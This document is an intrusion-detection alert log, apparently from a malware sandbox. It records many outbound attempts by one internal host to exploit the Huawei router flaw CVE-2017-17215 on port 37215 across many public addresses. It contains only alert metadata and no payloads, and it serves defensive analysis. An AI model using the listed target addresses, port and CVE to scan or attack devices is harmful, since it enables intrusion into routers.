ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.240.233.234

Timestamp:	2024-08-01T15:35:17.246244+0200
SID:	2835222
Source Port:	39614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.59.133.168

Timestamp:	2024-08-01T15:35:20.205645+0200
SID:	2835222
Source Port:	34514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.173.56.47

Timestamp:	2024-08-01T15:35:50.277916+0200
SID:	2835222
Source Port:	59422
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.35.110.184

Timestamp:	2024-08-01T15:36:42.158576+0200
SID:	2835222
Source Port:	37234
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.113.19.213

Timestamp:	2024-08-01T15:35:17.260744+0200
SID:	2835222
Source Port:	41424
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.127.14.177

Timestamp:	2024-08-01T15:36:18.286347+0200
SID:	2835222
Source Port:	36940
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.89.65.138

Timestamp:	2024-08-01T15:35:20.216430+0200
SID:	2835222
Source Port:	54484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 128.207.187.122

Timestamp:	2024-08-01T15:36:53.744381+0200
SID:	2835222
Source Port:	52780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.51.187.44

Timestamp:	2024-08-01T15:35:37.222239+0200
SID:	2835222
Source Port:	51330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.4.161.135

Timestamp:	2024-08-01T15:35:21.858951+0200
SID:	2835222
Source Port:	37190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 123.11.179.255

Timestamp:	2024-08-01T15:36:56.011484+0200
SID:	2835222
Source Port:	35142
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 220.227.198.78

Timestamp:	2024-08-01T15:36:11.949300+0200
SID:	2835222
Source Port:	46632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 62.128.239.24

Timestamp:	2024-08-01T15:35:35.142666+0200
SID:	2835222
Source Port:	57572
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.102.160.252

Timestamp:	2024-08-01T15:35:50.278473+0200
SID:	2835222
Source Port:	43734
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 80.107.166.82

Timestamp:	2024-08-01T15:35:20.545563+0200
SID:	2835222
Source Port:	49856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.109.49

Timestamp:	2024-08-01T15:35:56.486580+0200
SID:	2835222
Source Port:	34260
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.201.224.121

Timestamp:	2024-08-01T15:36:01.681096+0200
SID:	2835222
Source Port:	52826
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.20.225.239

Timestamp:	2024-08-01T15:36:37.120372+0200
SID:	2835222
Source Port:	50376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.160.146

Timestamp:	2024-08-01T15:35:21.907520+0200
SID:	2835222
Source Port:	57158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.81.148

Timestamp:	2024-08-01T15:35:20.216258+0200
SID:	2835222
Source Port:	49900
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.26.227.71

Timestamp:	2024-08-01T15:35:21.867524+0200
SID:	2835222
Source Port:	60676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.158.200.71

Timestamp:	2024-08-01T15:36:11.934161+0200
SID:	2835222
Source Port:	37726
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 69.172.16.4

Timestamp:	2024-08-01T15:35:25.948081+0200
SID:	2835222
Source Port:	36804
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.232.173.134

Timestamp:	2024-08-01T15:35:21.836263+0200
SID:	2835222
Source Port:	56584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 191.63.111.181

Timestamp:	2024-08-01T15:36:04.808329+0200
SID:	2835222
Source Port:	43444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.54.33.193

Timestamp:	2024-08-01T15:36:26.559150+0200
SID:	2835222
Source Port:	60556
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.178.58.224

Timestamp:	2024-08-01T15:35:20.204367+0200
SID:	2835222
Source Port:	53504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 133.101.20.75

Timestamp:	2024-08-01T15:36:34.887295+0200
SID:	2835222
Source Port:	37910
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.85.251.131

Timestamp:	2024-08-01T15:36:55.993875+0200
SID:	2835222
Source Port:	56732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.52.238.43

Timestamp:	2024-08-01T15:35:16.403264+0200
SID:	2835222
Source Port:	38800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.65.179.28

Timestamp:	2024-08-01T15:35:17.240571+0200
SID:	2835222
Source Port:	34146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.137.205.208

Timestamp:	2024-08-01T15:35:20.210331+0200
SID:	2835222
Source Port:	35788
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 84.181.156.154

Timestamp:	2024-08-01T15:35:53.664135+0200
SID:	2835222
Source Port:	54732
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.78.32.24

Timestamp:	2024-08-01T15:35:56.416777+0200
SID:	2835222
Source Port:	33426
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 106.98.95.231

Timestamp:	2024-08-01T15:35:21.939197+0200
SID:	2835222
Source Port:	57400
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.241.32.182

Timestamp:	2024-08-01T15:35:56.695813+0200
SID:	2835222
Source Port:	34132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.202.23.183

Timestamp:	2024-08-01T15:35:21.905726+0200
SID:	2835222
Source Port:	58256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.150.172.215

Timestamp:	2024-08-01T15:36:49.568435+0200
SID:	2835222
Source Port:	36818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 48.17.55.210

Timestamp:	2024-08-01T15:35:45.278944+0200
SID:	2835222
Source Port:	42250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.36.246.84

Timestamp:	2024-08-01T15:35:21.905341+0200
SID:	2835222
Source Port:	42584
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.103.84.247

Timestamp:	2024-08-01T15:35:40.223676+0200
SID:	2835222
Source Port:	34382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.127.200.96

Timestamp:	2024-08-01T15:36:22.352285+0200
SID:	2835222
Source Port:	60224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.116.18.42

Timestamp:	2024-08-01T15:36:30.755601+0200
SID:	2835222
Source Port:	35924
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.31.59.88

Timestamp:	2024-08-01T15:36:49.853011+0200
SID:	2835222
Source Port:	60166
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 84.232.124.112

Timestamp:	2024-08-01T15:35:21.870119+0200
SID:	2835222
Source Port:	43508
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.58.206.143

Timestamp:	2024-08-01T15:35:20.209778+0200
SID:	2835222
Source Port:	49448
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.108.49.207

Timestamp:	2024-08-01T15:35:16.602941+0200
SID:	2835222
Source Port:	59630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.205.94.247

Timestamp:	2024-08-01T15:36:18.259784+0200
SID:	2835222
Source Port:	51658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.170.181.88

Timestamp:	2024-08-01T15:36:14.842646+0200
SID:	2835222
Source Port:	42696
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 137.123.9.9

Timestamp:	2024-08-01T15:35:20.204195+0200
SID:	2835222
Source Port:	35962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.23.245.210

Timestamp:	2024-08-01T15:36:32.809258+0200
SID:	2835222
Source Port:	60016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.165.69.60

Timestamp:	2024-08-01T15:35:53.373081+0200
SID:	2835222
Source Port:	55140
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.66.35.81

Timestamp:	2024-08-01T15:37:00.161344+0200
SID:	2835222
Source Port:	39174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.55.116.173

Timestamp:	2024-08-01T15:35:20.214636+0200
SID:	2835222
Source Port:	36488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 209.215.5.52

Timestamp:	2024-08-01T15:35:40.237627+0200
SID:	2835222
Source Port:	35312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.153.26.128

Timestamp:	2024-08-01T15:36:16.184864+0200
SID:	2835222
Source Port:	50666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.65.253.78

Timestamp:	2024-08-01T15:35:45.271227+0200
SID:	2835222
Source Port:	59782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 91.234.111.84

Timestamp:	2024-08-01T15:35:40.224229+0200
SID:	2835222
Source Port:	50756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.206.36.187

Timestamp:	2024-08-01T15:35:21.850300+0200
SID:	2835222
Source Port:	56196
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.189.31.225

Timestamp:	2024-08-01T15:35:54.400175+0200
SID:	2835222
Source Port:	51026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.118.9.203

Timestamp:	2024-08-01T15:36:30.755429+0200
SID:	2835222
Source Port:	60386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.165.188.148

Timestamp:	2024-08-01T15:35:20.545817+0200
SID:	2835222
Source Port:	60296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.17.161.122

Timestamp:	2024-08-01T15:35:56.648815+0200
SID:	2835222
Source Port:	54504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.89.36.3

Timestamp:	2024-08-01T15:36:53.713720+0200
SID:	2835222
Source Port:	43060
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.143.154.46

Timestamp:	2024-08-01T15:35:20.204584+0200
SID:	2835222
Source Port:	42838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.246.30.64

Timestamp:	2024-08-01T15:35:21.888580+0200
SID:	2835222
Source Port:	52332
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.226.27.93

Timestamp:	2024-08-01T15:36:53.732660+0200
SID:	2835222
Source Port:	40684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.118.208.1

Timestamp:	2024-08-01T15:37:00.201070+0200
SID:	2835222
Source Port:	35492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.216.175.31

Timestamp:	2024-08-01T15:36:39.043279+0200
SID:	2835222
Source Port:	48756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.48.148.177

Timestamp:	2024-08-01T15:35:20.216479+0200
SID:	2835222
Source Port:	51354
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.44.46.80

Timestamp:	2024-08-01T15:35:50.302312+0200
SID:	2835222
Source Port:	37522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.164.28.218

Timestamp:	2024-08-01T15:36:01.488800+0200
SID:	2835222
Source Port:	35876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.53.137.49

Timestamp:	2024-08-01T15:36:31.132066+0200
SID:	2835222
Source Port:	46698
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.203.158.236

Timestamp:	2024-08-01T15:36:52.619289+0200
SID:	2835222
Source Port:	40074
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 213.90.220.161

Timestamp:	2024-08-01T15:36:01.504361+0200
SID:	2835222
Source Port:	33242
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.202.198.155

Timestamp:	2024-08-01T15:35:21.837242+0200
SID:	2835222
Source Port:	34282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.127.128.225

Timestamp:	2024-08-01T15:35:21.920132+0200
SID:	2835222
Source Port:	60802
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.121.143.74

Timestamp:	2024-08-01T15:35:16.324425+0200
SID:	2835222
Source Port:	36174
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.136.31.159

Timestamp:	2024-08-01T15:35:43.514512+0200
SID:	2835222
Source Port:	46364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.12.240.236

Timestamp:	2024-08-01T15:35:20.210245+0200
SID:	2835222
Source Port:	33632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.187.148.134

Timestamp:	2024-08-01T15:35:16.774392+0200
SID:	2835222
Source Port:	35606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.155.70.80

Timestamp:	2024-08-01T15:36:09.870661+0200
SID:	2835222
Source Port:	46946
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.227.230.73

Timestamp:	2024-08-01T15:36:11.951045+0200
SID:	2835222
Source Port:	36786
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.148.235.86

Timestamp:	2024-08-01T15:35:45.282356+0200
SID:	2835222
Source Port:	42582
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.40.23.137

Timestamp:	2024-08-01T15:34:55.634550+0200
SID:	2835222
Source Port:	39300
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.160.204.56

Timestamp:	2024-08-01T15:36:49.568513+0200
SID:	2835222
Source Port:	58480
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 217.241.60.162

Timestamp:	2024-08-01T15:36:11.902091+0200
SID:	2835222
Source Port:	43612
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.37.176.1

Timestamp:	2024-08-01T15:35:17.231070+0200
SID:	2835222
Source Port:	46676
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 106.163.137.105

Timestamp:	2024-08-01T15:35:20.216180+0200
SID:	2835222
Source Port:	58458
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.40.144.156

Timestamp:	2024-08-01T15:36:36.978685+0200
SID:	2835222
Source Port:	55876
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 82.23.144.255

Timestamp:	2024-08-01T15:36:46.306130+0200
SID:	2835222
Source Port:	45282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 79.153.4.153

Timestamp:	2024-08-01T15:36:57.559220+0200
SID:	2835222
Source Port:	42106
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.25.178.165

Timestamp:	2024-08-01T15:35:53.374023+0200
SID:	2835222
Source Port:	59464
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.123.91.129

Timestamp:	2024-08-01T15:35:31.025781+0200
SID:	2835222
Source Port:	56266
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.0.200.111

Timestamp:	2024-08-01T15:36:39.033774+0200
SID:	2835222
Source Port:	59256
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.248.204.190

Timestamp:	2024-08-01T15:35:40.228325+0200
SID:	2835222
Source Port:	49570
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.224.126.27

Timestamp:	2024-08-01T15:36:09.888438+0200
SID:	2835222
Source Port:	53076
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.79.151.103

Timestamp:	2024-08-01T15:35:40.222263+0200
SID:	2835222
Source Port:	40064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 132.12.48.169

Timestamp:	2024-08-01T15:36:18.286400+0200
SID:	2835222
Source Port:	49912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

